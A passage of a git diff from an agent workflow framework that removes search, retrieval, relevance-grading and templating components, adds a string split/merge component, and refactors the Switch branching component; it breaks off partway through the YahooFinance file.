-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import logging
-from abc import ABC
-from Bio import Entrez
-import re
-import pandas as pd
-import xml.etree.ElementTree as ET
-from agent.component.base import ComponentBase, ComponentParamBase
-
-
-class PubMedParam(ComponentParamBase):
-    """
-    Define the PubMed component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.top_n = 5
-        self.email = "A.N.Other@example.com"
-
-    def check(self):
-        self.check_positive_integer(self.top_n, "Top N")
-
-
-class PubMed(ComponentBase, ABC):
-    component_name = "PubMed"
-
-    def _run(self, history, **kwargs):
-        ans = self.get_input()
-        ans = " - ".join(ans["content"]) if "content" in ans else ""
-        if not ans:
-            return PubMed.be_output("")
-
-        try:
-            Entrez.email = self._param.email
-            pubmedids = Entrez.read(Entrez.esearch(db='pubmed', retmax=self._param.top_n, term=ans))['IdList']
-            pubmedcnt = ET.fromstring(re.sub(r'<(/?)b>|<(/?)i>', '', Entrez.efetch(db='pubmed', id=",".join(pubmedids),
-                                                                                   retmode="xml").read().decode(
-                "utf-8")))
-            pubmed_res = [{"content": 'Title:' + child.find("MedlineCitation").find("Article").find(
-                "ArticleTitle").text + '\nUrl:<a href=" https://pubmed.ncbi.nlm.nih.gov/' + child.find(
-                "MedlineCitation").find("PMID").text + '">' + '</a>\n' + 'Abstract:' + (
-                                          child.find("MedlineCitation").find("Article").find("Abstract").find(
-                                              "AbstractText").text if child.find("MedlineCitation").find(
-                                              "Article").find("Abstract") else "No abstract available")} for child in
-                          pubmedcnt.findall("PubmedArticle")]
-        except Exception as e:
-            return PubMed.be_output("**ERROR**: " + str(e))
-
-        if not pubmed_res:
-            return PubMed.be_output("")
-
-        df = pd.DataFrame(pubmed_res)
-        logging.debug(f"df: {df}")
-        return df

agent/component/relevant.py

@@ -1,83 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import logging
-from abc import ABC
-from api.db import LLMType
-from api.db.services.llm_service import LLMBundle
-from agent.component import GenerateParam, Generate
-from rag.utils import num_tokens_from_string, encoder
-
-
-class RelevantParam(GenerateParam):
-
-    """
-    Define the Relevant component parameters.
-    """
-    def __init__(self):
-        super().__init__()
-        self.prompt = ""
-        self.yes = ""
-        self.no = ""
-
-    def check(self):
-        super().check()
-        self.check_empty(self.yes, "[Relevant] 'Yes'")
-        self.check_empty(self.no, "[Relevant] 'No'")
-
-    def get_prompt(self):
-        self.prompt = """
-        You are a grader assessing relevance of a retrieved document to a user question. 
-        It does not need to be a stringent test. The goal is to filter out erroneous retrievals.
-        If the document contains keyword(s) or semantic meaning related to the user question, grade it as relevant. 
-        Give a binary score 'yes' or 'no' score to indicate whether the document is relevant to the question.
-        No other words needed except 'yes' or 'no'.
-        """
-        return self.prompt
-
-
-class Relevant(Generate, ABC):
-    component_name = "Relevant"
-
-    def _run(self, history, **kwargs):
-        q = ""
-        for r, c in self._canvas.history[::-1]:
-            if r == "user":
-                q = c
-                break
-        ans = self.get_input()
-        ans = " - ".join(ans["content"]) if "content" in ans else ""
-        if not ans:
-            return Relevant.be_output(self._param.no)
-        ans = "Documents: \n" + ans
-        ans = f"Question: {q}\n" + ans
-        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
-
-        if num_tokens_from_string(ans) >= chat_mdl.max_length - 4:
-            ans = encoder.decode(encoder.encode(ans)[:chat_mdl.max_length - 4])
-
-        ans = chat_mdl.chat(self._param.get_prompt(), [{"role": "user", "content": ans}],
-                            self._param.gen_conf())
-
-        logging.debug(ans)
-        if ans.lower().find("yes") >= 0:
-            return Relevant.be_output(self._param.yes)
-        if ans.lower().find("no") >= 0:
-            return Relevant.be_output(self._param.no)
-        assert False, f"Relevant component got: {ans}"
-
-    def debug(self, **kwargs):
-        return self._run([], **kwargs)
-

agent/component/retrieval.py

@@ -1,134 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import json
-import logging
-import re
-from abc import ABC
-
-import pandas as pd
-
-from api.db import LLMType
-from api.db.services.knowledgebase_service import KnowledgebaseService
-from api.db.services.llm_service import LLMBundle
-from api import settings
-from agent.component.base import ComponentBase, ComponentParamBase
-from rag.app.tag import label_question
-from rag.prompts import kb_prompt
-from rag.utils.tavily_conn import Tavily
-
-
-class RetrievalParam(ComponentParamBase):
-    """
-    Define the Retrieval component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.similarity_threshold = 0.2
-        self.keywords_similarity_weight = 0.5
-        self.top_n = 8
-        self.top_k = 1024
-        self.kb_ids = []
-        self.kb_vars = []
-        self.rerank_id = ""
-        self.empty_response = ""
-        self.tavily_api_key = ""
-        self.use_kg = False
-
-    def check(self):
-        self.check_decimal_float(self.similarity_threshold, "[Retrieval] Similarity threshold")
-        self.check_decimal_float(self.keywords_similarity_weight, "[Retrieval] Keyword similarity weight")
-        self.check_positive_number(self.top_n, "[Retrieval] Top N")
-
-
-class Retrieval(ComponentBase, ABC):
-    component_name = "Retrieval"
-
-    def _run(self, history, **kwargs):
-        query = self.get_input()
-        query = str(query["content"][0]) if "content" in query else ""
-        query = re.split(r"(USER:|ASSISTANT:)", query)[-1]
-
-        kb_ids: list[str] = self._param.kb_ids or []
-
-        kb_vars = self._fetch_outputs_from(self._param.kb_vars)
-
-        if len(kb_vars) > 0:
-            for kb_var in kb_vars:
-                if len(kb_var) == 1:
-                    kb_var_value = str(kb_var["content"][0])
-
-                    for v in kb_var_value.split(","):
-                        kb_ids.append(v)
-                else:
-                    for v in kb_var.to_dict("records"):
-                        kb_ids.append(v["content"])
-
-        filtered_kb_ids: list[str] = [kb_id for kb_id in kb_ids if kb_id]
-
-        kbs = KnowledgebaseService.get_by_ids(filtered_kb_ids)
-        if not kbs:
-            return Retrieval.be_output("")
-
-        embd_nms = list(set([kb.embd_id for kb in kbs]))
-        assert len(embd_nms) == 1, "Knowledge bases use different embedding models."
-
-        embd_mdl = None
-        if embd_nms:
-            embd_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.EMBEDDING, embd_nms[0])
-            self._canvas.set_embedding_model(embd_nms[0])
-
-        rerank_mdl = None
-        if self._param.rerank_id:
-            rerank_mdl = LLMBundle(kbs[0].tenant_id, LLMType.RERANK, self._param.rerank_id)
-
-        if kbs:
-            kbinfos = settings.retrievaler.retrieval(
-                query,
-                embd_mdl,
-                [kb.tenant_id for kb in kbs],
-                filtered_kb_ids,
-                1,
-                self._param.top_n,
-                self._param.similarity_threshold,
-                1 - self._param.keywords_similarity_weight,
-                aggs=False,
-                rerank_mdl=rerank_mdl,
-                rank_feature=label_question(query, kbs),
-            )
-        else:
-            kbinfos = {"chunks": [], "doc_aggs": []}
-
-        if self._param.use_kg and kbs:
-            ck = settings.kg_retrievaler.retrieval(query, [kb.tenant_id for kb in kbs], filtered_kb_ids, embd_mdl, LLMBundle(kbs[0].tenant_id, LLMType.CHAT))
-            if ck["content_with_weight"]:
-                kbinfos["chunks"].insert(0, ck)
-
-        if self._param.tavily_api_key:
-            tav = Tavily(self._param.tavily_api_key)
-            tav_res = tav.retrieve_chunks(query)
-            kbinfos["chunks"].extend(tav_res["chunks"])
-            kbinfos["doc_aggs"].extend(tav_res["doc_aggs"])
-
-        if not kbinfos["chunks"]:
-            df = Retrieval.be_output("")
-            if self._param.empty_response and self._param.empty_response.strip():
-                df["empty_response"] = self._param.empty_response
-            return df
-
-        df = pd.DataFrame({"content": kb_prompt(kbinfos, 200000), "chunks": json.dumps(kbinfos["chunks"])})
-        logging.debug("{} {}".format(query, df))
-        return df.dropna()

agent/component/rewrite.py

@@ -1,94 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-from abc import ABC
-from agent.component import GenerateParam, Generate
-from rag.prompts import full_question
-
-
-class RewriteQuestionParam(GenerateParam):
-    """
-    Define the QuestionRewrite component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.temperature = 0.9
-        self.prompt = ""
-        self.language = ""
-
-    def check(self):
-        super().check()
-
-
-class RewriteQuestion(Generate, ABC):
-    component_name = "RewriteQuestion"
-
-    def _run(self, history, **kwargs):
-        hist = self._canvas.get_history(self._param.message_history_window_size)
-        query = self.get_input()
-        query = str(query["content"][0]) if "content" in query else ""
-        messages = [h for h in hist if h["role"]!="system"]
-        if messages[-1]["role"] != "user":
-            messages.append({"role": "user", "content": query})
-        ans = full_question(self._canvas.get_tenant_id(), self._param.llm_id, messages, self.gen_lang(self._param.language))
-        self._canvas.history.pop()
-        self._canvas.history.append(("user", ans))
-        return RewriteQuestion.be_output(ans)
-
-    @staticmethod
-    def gen_lang(language):
-        # convert code lang to language word for the prompt
-        language_dict = {'af': 'Afrikaans', 'ak': 'Akan', 'sq': 'Albanian', 'ws': 'Samoan', 'am': 'Amharic',
-                         'ar': 'Arabic', 'hy': 'Armenian', 'az': 'Azerbaijani', 'eu': 'Basque', 'be': 'Belarusian',
-                         'bem': 'Bemba', 'bn': 'Bengali', 'bh': 'Bihari',
-                         'xx-bork': 'Bork', 'bs': 'Bosnian', 'br': 'Breton', 'bg': 'Bulgarian', 'bt': 'Bhutani',
-                         'km': 'Cambodian', 'ca': 'Catalan', 'chr': 'Cherokee', 'ny': 'Chichewa', 'zh-cn': 'Chinese',
-                         'zh-tw': 'Chinese', 'co': 'Corsican',
-                         'hr': 'Croatian', 'cs': 'Czech', 'da': 'Danish', 'nl': 'Dutch', 'xx-elmer': 'Elmer',
-                         'en': 'English', 'eo': 'Esperanto', 'et': 'Estonian', 'ee': 'Ewe', 'fo': 'Faroese',
-                         'tl': 'Filipino', 'fi': 'Finnish', 'fr': 'French',
-                         'fy': 'Frisian', 'gaa': 'Ga', 'gl': 'Galician', 'ka': 'Georgian', 'de': 'German',
-                         'el': 'Greek', 'kl': 'Greenlandic', 'gn': 'Guarani', 'gu': 'Gujarati', 'xx-hacker': 'Hacker',
-                         'ht': 'Haitian Creole', 'ha': 'Hausa', 'haw': 'Hawaiian',
-                         'iw': 'Hebrew', 'hi': 'Hindi', 'hu': 'Hungarian', 'is': 'Icelandic', 'ig': 'Igbo',
-                         'id': 'Indonesian', 'ia': 'Interlingua', 'ga': 'Irish', 'it': 'Italian', 'ja': 'Japanese',
-                         'jw': 'Javanese', 'kn': 'Kannada', 'kk': 'Kazakh', 'rw': 'Kinyarwanda',
-                         'rn': 'Kirundi', 'xx-klingon': 'Klingon', 'kg': 'Kongo', 'ko': 'Korean', 'kri': 'Krio',
-                         'ku': 'Kurdish', 'ckb': 'Kurdish (Sorani)', 'ky': 'Kyrgyz', 'lo': 'Laothian', 'la': 'Latin',
-                         'lv': 'Latvian', 'ln': 'Lingala', 'lt': 'Lithuanian',
-                         'loz': 'Lozi', 'lg': 'Luganda', 'ach': 'Luo', 'mk': 'Macedonian', 'mg': 'Malagasy',
-                         'ms': 'Malay', 'ml': 'Malayalam', 'mt': 'Maltese', 'mv': 'Maldivian', 'mi': 'Maori',
-                         'mr': 'Marathi', 'mfe': 'Mauritian Creole', 'mo': 'Moldavian', 'mn': 'Mongolian',
-                         'sr-me': 'Montenegrin', 'my': 'Burmese', 'ne': 'Nepali', 'pcm': 'Nigerian Pidgin',
-                         'nso': 'Northern Sotho', 'no': 'Norwegian', 'nn': 'Norwegian Nynorsk', 'oc': 'Occitan',
-                         'or': 'Oriya', 'om': 'Oromo', 'ps': 'Pashto', 'fa': 'Persian',
-                         'xx-pirate': 'Pirate', 'pl': 'Polish', 'pt': 'Portuguese', 'pt-br': 'Portuguese (Brazilian)',
-                         'pt-pt': 'Portuguese (Portugal)', 'pa': 'Punjabi', 'qu': 'Quechua', 'ro': 'Romanian',
-                         'rm': 'Romansh', 'nyn': 'Runyankole', 'ru': 'Russian', 'gd': 'Scots Gaelic',
-                         'sr': 'Serbian', 'sh': 'Serbo-Croatian', 'st': 'Sesotho', 'tn': 'Setswana',
-                         'crs': 'Seychellois Creole', 'sn': 'Shona', 'sd': 'Sindhi', 'si': 'Sinhalese', 'sk': 'Slovak',
-                         'sl': 'Slovenian', 'so': 'Somali', 'es': 'Spanish', 'es-419': 'Spanish (Latin America)',
-                         'su': 'Sundanese',
-                         'sw': 'Swahili', 'sv': 'Swedish', 'tg': 'Tajik', 'ta': 'Tamil', 'tt': 'Tatar', 'te': 'Telugu',
-                         'th': 'Thai', 'ti': 'Tigrinya', 'to': 'Tongan', 'lua': 'Tshiluba', 'tum': 'Tumbuka',
-                         'tr': 'Turkish', 'tk': 'Turkmen', 'tw': 'Twi',
-                         'ug': 'Uyghur', 'uk': 'Ukrainian', 'ur': 'Urdu', 'uz': 'Uzbek', 'vu': 'Vanuatu',
-                         'vi': 'Vietnamese', 'cy': 'Welsh', 'wo': 'Wolof', 'xh': 'Xhosa', 'yi': 'Yiddish',
-                         'yo': 'Yoruba', 'zu': 'Zulu'}
-        if language in language_dict:
-            return language_dict[language]
-        else:
-            return ""

agent/component/string_transform.py

@@ -0,0 +1,100 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import os
+import re
+from abc import ABC
+from jinja2 import Template as Jinja2Template
+from agent.component.base import ComponentParamBase
+from api.utils.api_utils import timeout
+from .message import Message
+
+
+class StringTransformParam(ComponentParamBase):
+    """
+    Define the code sandbox component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.method = "split"
+        self.script = ""
+        self.split_ref = ""
+        self.delimiters = [","]
+        self.outputs = {"result": {"value": "", "type": "string"}}
+
+    def check(self):
+        self.check_valid_value(self.method, "Support method", ["split", "merge"])
+        self.check_empty(self.delimiters, "delimiters")
+
+
+class StringTransform(Message, ABC):
+    component_name = "StringTransform"
+
+    def get_input_form(self) -> dict[str, dict]:
+        if self._param.method == "split":
+            return {
+                "line": {
+                    "name": "String",
+                    "type": "line"
+                }
+            }
+        return {k: {
+            "name": o["name"],
+            "type": "line"
+        } for k, o in self.get_input_elements_from_text(self._param.script).items()}
+
+    @timeout(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60))
+    def _invoke(self, **kwargs):
+        if self._param.method == "split":
+            self._split(kwargs.get("line"))
+        else:
+            self._merge(kwargs)
+
+    def _split(self, line:str|None = None):
+        var = self._canvas.get_variable_value(self._param.split_ref) if not line else line
+        if not var:
+            var = ""
+        assert isinstance(var, str), "The input variable is not a string: {}".format(type(var))
+        self.set_input_value(self._param.split_ref, var)
+        res = []
+        for i,s in enumerate(re.split(r"(%s)"%("|".join([re.escape(d) for d in self._param.delimiters])), var, flags=re.DOTALL)):
+            if i % 2 == 1:
+                continue
+            res.append(s)
+        self.set_output("result", res)
+
+    def _merge(self, kwargs:dict[str, str] = {}):
+        script = self._param.script
+        script, kwargs = self.get_kwargs(script, kwargs, self._param.delimiters[0])
+
+        if self._is_jinjia2(script):
+            template = Jinja2Template(script)
+            try:
+                script = template.render(kwargs)
+            except Exception:
+                pass
+
+        for k,v in kwargs.items():
+            if not v:
+                v = ""
+            script = re.sub(k, v, script)
+
+        self.set_output("result", script)
+
+    def thoughts(self) -> str:
+        return f"It's {self._param.method}ing."
+
+

agent/component/switch.py

@@ -13,8 +13,13 @@
 #  See the License for the specific language governing permissions and
 #  limitations under the License.
 #
+import numbers
+import os
 from abc import ABC
+from typing import Any
+
 from agent.component.base import ComponentBase, ComponentParamBase
+from api.utils.api_utils import timeout
 
 
 class SwitchParam(ComponentParamBase):
@@ -34,7 +39,7 @@ class SwitchParam(ComponentParamBase):
         }
         """
         self.conditions = []
-        self.end_cpn_id = "answer:0"
+        self.end_cpn_ids = []
         self.operators = ['contains', 'not contains', 'start with', 'end with', 'empty', 'not empty', '=', '≠', '>',
                           '<', '≥', '≤']
 
@@ -43,54 +48,46 @@ class SwitchParam(ComponentParamBase):
         for cond in self.conditions:
             if not cond["to"]:
                 raise ValueError("[Switch] 'To' can not be empty!")
+        self.check_empty(self.end_cpn_ids, "[Switch] the ELSE/Other destination can not be empty.")
 
+    def get_input_form(self) -> dict[str, dict]:
+        return {
+            "urls": {
+                "name": "URLs",
+                "type": "line"
+            }
+        }
 
 class Switch(ComponentBase, ABC):
     component_name = "Switch"
 
-    def get_dependent_components(self):
-        res = []
-        for cond in self._param.conditions:
-            for item in cond["items"]:
-                if not item["cpn_id"]:
-                    continue
-                if item["cpn_id"].lower().find("begin") >= 0 or item["cpn_id"].lower().find("answer") >= 0:
-                    continue
-                cid = item["cpn_id"].split("@")[0]
-                res.append(cid)
-
-        return list(set(res))
-
-    def _run(self, history, **kwargs):
+    @timeout(os.environ.get("COMPONENT_EXEC_TIMEOUT", 3))
+    def _invoke(self, **kwargs):
         for cond in self._param.conditions:
             res = []
             for item in cond["items"]:
                 if not item["cpn_id"]:
                     continue
-                cid = item["cpn_id"].split("@")[0]
-                if item["cpn_id"].find("@") > 0:
-                    cpn_id, key = item["cpn_id"].split("@")
-                    for p in self._canvas.get_component(cid)["obj"]._param.query:
-                        if p["key"] == key:
-                            res.append(self.process_operator(p.get("value",""), item["operator"], item.get("value", "")))
-                            break
-                else:
-                    out = self._canvas.get_component(cid)["obj"].output(allow_partial=False)[1]
-                    cpn_input = "" if "content" not in out.columns else " ".join([str(s) for s in out["content"]])
-                    res.append(self.process_operator(cpn_input, item["operator"], item.get("value", "")))
-
+                cpn_v = self._canvas.get_variable_value(item["cpn_id"])
+                self.set_input_value(item["cpn_id"], cpn_v)
+                operatee = item.get("value", "")
+                if isinstance(cpn_v, numbers.Number):
+                    operatee = float(operatee)
+                res.append(self.process_operator(cpn_v, item["operator"], operatee))
                 if cond["logical_operator"] != "and" and any(res):
-                    return Switch.be_output(cond["to"])
+                    self.set_output("next", [self._canvas.get_component_name(cpn_id) for cpn_id in cond["to"]])
+                    self.set_output("_next", cond["to"])
+                    return
 
             if all(res):
-                return Switch.be_output(cond["to"])
+                self.set_output("next", [self._canvas.get_component_name(cpn_id) for cpn_id in cond["to"]])
+                self.set_output("_next", cond["to"])
+                return
 
-        return Switch.be_output(self._param.end_cpn_id)
-
-    def process_operator(self, input: str, operator: str, value: str) -> bool:
-        if not isinstance(input, str) or not isinstance(value, str):
-            raise ValueError('Invalid input or value type: string')
+        self.set_output("next", [self._canvas.get_component_name(cpn_id) for cpn_id in self._param.end_cpn_ids])
+        self.set_output("_next", self._param.end_cpn_ids)
 
+    def process_operator(self, input: Any, operator: str, value: Any) -> bool:
         if operator == "contains":
             return True if value.lower() in input.lower() else False
         elif operator == "not contains":
@@ -128,4 +125,7 @@ class Switch(ComponentBase, ABC):
             except Exception:
                 return True if input <= value else False
 
-        raise ValueError('Not supported operator' + operator)
+        raise ValueError('Not supported operator' + operator)
+
+    def thoughts(self) -> str:
+        return "I’m weighing a few options and will pick the next step shortly."

agent/component/template.py

@@ -1,134 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import json
-import re
-from agent.component.base import ComponentBase, ComponentParamBase
-from jinja2 import Template as Jinja2Template
-
-
-class TemplateParam(ComponentParamBase):
-    """
-    Define the Generate component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.content = ""
-        self.parameters = []
-
-    def check(self):
-        self.check_empty(self.content, "[Template] Content")
-        return True
-
-
-class Template(ComponentBase):
-    component_name = "Template"
-
-    def get_dependent_components(self):
-        inputs = self.get_input_elements()
-        cpnts = set([i["key"] for i in inputs if i["key"].lower().find("answer") < 0 and i["key"].lower().find("begin") < 0])
-        return list(cpnts)
-
-    def get_input_elements(self):
-        key_set = set([])
-        res = []
-        for r in re.finditer(r"\{([a-z]+[:@][a-z0-9_-]+)\}", self._param.content, flags=re.IGNORECASE):
-            cpn_id = r.group(1)
-            if cpn_id in key_set:
-                continue
-            if cpn_id.lower().find("begin@") == 0:
-                cpn_id, key = cpn_id.split("@")
-                for p in self._canvas.get_component(cpn_id)["obj"]._param.query:
-                    if p["key"] != key:
-                        continue
-                    res.append({"key": r.group(1), "name": p["name"]})
-                    key_set.add(r.group(1))
-                continue
-            cpn_nm = self._canvas.get_component_name(cpn_id)
-            if not cpn_nm:
-                continue
-            res.append({"key": cpn_id, "name": cpn_nm})
-            key_set.add(cpn_id)
-        return res
-
-    def _run(self, history, **kwargs):
-        content = self._param.content
-
-        self._param.inputs = []
-        for para in self.get_input_elements():
-            if para["key"].lower().find("begin@") == 0:
-                cpn_id, key = para["key"].split("@")
-                for p in self._canvas.get_component(cpn_id)["obj"]._param.query:
-                    if p["key"] == key:
-                        value = p.get("value", "")
-                        self.make_kwargs(para, kwargs, value)
-                        break
-                else:
-                    assert False, f"Can't find parameter '{key}' for {cpn_id}"
-                continue
-
-            component_id = para["key"]
-            cpn = self._canvas.get_component(component_id)["obj"]
-            if cpn.component_name.lower() == "answer":
-                hist = self._canvas.get_history(1)
-                if hist:
-                    hist = hist[0]["content"]
-                else:
-                    hist = ""
-                self.make_kwargs(para, kwargs, hist)
-                continue
-
-            _, out = cpn.output(allow_partial=False)
-
-            result = ""
-            if "content" in out.columns:
-                result = "\n".join(
-                    [o if isinstance(o, str) else str(o) for o in out["content"]]
-                )
-
-            self.make_kwargs(para, kwargs, result)
-
-        template = Jinja2Template(content)
-
-        try:
-            content = template.render(kwargs)
-        except Exception:
-            pass
-
-        for n, v in kwargs.items():
-            if not isinstance(v, str):
-                try:
-                    v = json.dumps(v, ensure_ascii=False)
-                except Exception:
-                    pass
-            content = re.sub(
-                r"\{%s\}" % re.escape(n), v, content
-            )
-            content = re.sub(
-                r"(#+)", r" \1 ", content
-            )
-
-        return Template.be_output(content)
-
-    def make_kwargs(self, para, kwargs, value):
-        self._param.inputs.append(
-            {"component_id": para["key"], "content": value}
-        )
-        try:
-            value = json.loads(value)
-        except Exception:
-            pass
-        kwargs[para["key"]] = value

agent/component/wencai.py

@@ -1,80 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-from abc import ABC
-import pandas as pd
-import pywencai
-from agent.component.base import ComponentBase, ComponentParamBase
-
-
-class WenCaiParam(ComponentParamBase):
-    """
-    Define the WenCai component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.top_n = 10
-        self.query_type = "stock"
-
-    def check(self):
-        self.check_positive_integer(self.top_n, "Top N")
-        self.check_valid_value(self.query_type, "Query type",
-                               ['stock', 'zhishu', 'fund', 'hkstock', 'usstock', 'threeboard', 'conbond', 'insurance',
-                                'futures', 'lccp',
-                                'foreign_exchange'])
-
-
-class WenCai(ComponentBase, ABC):
-    component_name = "WenCai"
-
-    def _run(self, history, **kwargs):
-        ans = self.get_input()
-        ans = ",".join(ans["content"]) if "content" in ans else ""
-        if not ans:
-            return WenCai.be_output("")
-
-        try:
-            wencai_res = []
-            res = pywencai.get(query=ans, query_type=self._param.query_type, perpage=self._param.top_n)
-            if isinstance(res, pd.DataFrame):
-                wencai_res.append({"content": res.to_markdown()})
-            if isinstance(res, dict):
-                for item in res.items():
-                    if isinstance(item[1], list):
-                        wencai_res.append({"content": item[0] + "\n" + pd.DataFrame(item[1]).to_markdown()})
-                        continue
-                    if isinstance(item[1], str):
-                        wencai_res.append({"content": item[0] + "\n" + item[1]})
-                        continue
-                    if isinstance(item[1], dict):
-                        if "meta" in item[1].keys():
-                            continue
-                        wencai_res.append({"content": pd.DataFrame.from_dict(item[1], orient='index').to_markdown()})
-                        continue
-                    if isinstance(item[1], pd.DataFrame):
-                        if "image_url" in item[1].columns:
-                            continue
-                        wencai_res.append({"content": item[1].to_markdown()})
-                        continue
-                        
-                    wencai_res.append({"content": item[0] + "\n" + str(item[1])})
-        except Exception as e:
-            return WenCai.be_output("**ERROR**: " + str(e))
-
-        if not wencai_res:
-            return WenCai.be_output("")
-
-        return pd.DataFrame(wencai_res)

agent/component/wikipedia.py

@@ -1,67 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import logging
-from abc import ABC
-import wikipedia
-import pandas as pd
-from agent.component.base import ComponentBase, ComponentParamBase
-
-
-class WikipediaParam(ComponentParamBase):
-    """
-    Define the Wikipedia component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.top_n = 10
-        self.language = "en"
-
-    def check(self):
-        self.check_positive_integer(self.top_n, "Top N")
-        self.check_valid_value(self.language, "Wikipedia languages",
-                               ['af', 'pl', 'ar', 'ast', 'az', 'bg', 'nan', 'bn', 'be', 'ca', 'cs', 'cy', 'da', 'de',
-                                'et', 'el', 'en', 'es', 'eo', 'eu', 'fa', 'fr', 'gl', 'ko', 'hy', 'hi', 'hr', 'id',
-                                'it', 'he', 'ka', 'lld', 'la', 'lv', 'lt', 'hu', 'mk', 'arz', 'ms', 'min', 'my', 'nl',
-                                'ja', 'nb', 'nn', 'ce', 'uz', 'pt', 'kk', 'ro', 'ru', 'ceb', 'sk', 'sl', 'sr', 'sh',
-                                'fi', 'sv', 'ta', 'tt', 'th', 'tg', 'azb', 'tr', 'uk', 'ur', 'vi', 'war', 'zh', 'yue'])
-
-
-class Wikipedia(ComponentBase, ABC):
-    component_name = "Wikipedia"
-
-    def _run(self, history, **kwargs):
-        ans = self.get_input()
-        ans = " - ".join(ans["content"]) if "content" in ans else ""
-        if not ans:
-            return Wikipedia.be_output("")
-
-        try:
-            wiki_res = []
-            wikipedia.set_lang(self._param.language)
-            wiki_engine = wikipedia
-            for wiki_key in wiki_engine.search(ans, results=self._param.top_n):
-                page = wiki_engine.page(title=wiki_key, auto_suggest=False)
-                wiki_res.append({"content": '<a href="' + page.url + '">' + page.title + '</a> ' + page.summary})
-        except Exception as e:
-            return Wikipedia.be_output("**ERROR**: " + str(e))
-
-        if not wiki_res:
-            return Wikipedia.be_output("")
-
-        df = pd.DataFrame(wiki_res)
-        logging.debug(f"df: {df}")
-        return df

agent/component/yahoofinance.py

@@ -1,84 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import logging
-from abc import ABC
-import pandas as pd
-from agent.component.base import ComponentBase, ComponentParamBase
-import yfinance as yf
-
-
-class YahooFinanceParam(ComponentParamBase):
-    """
-    Define the YahooFinance component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.info = True
-        self.history = False
-        self.count = False
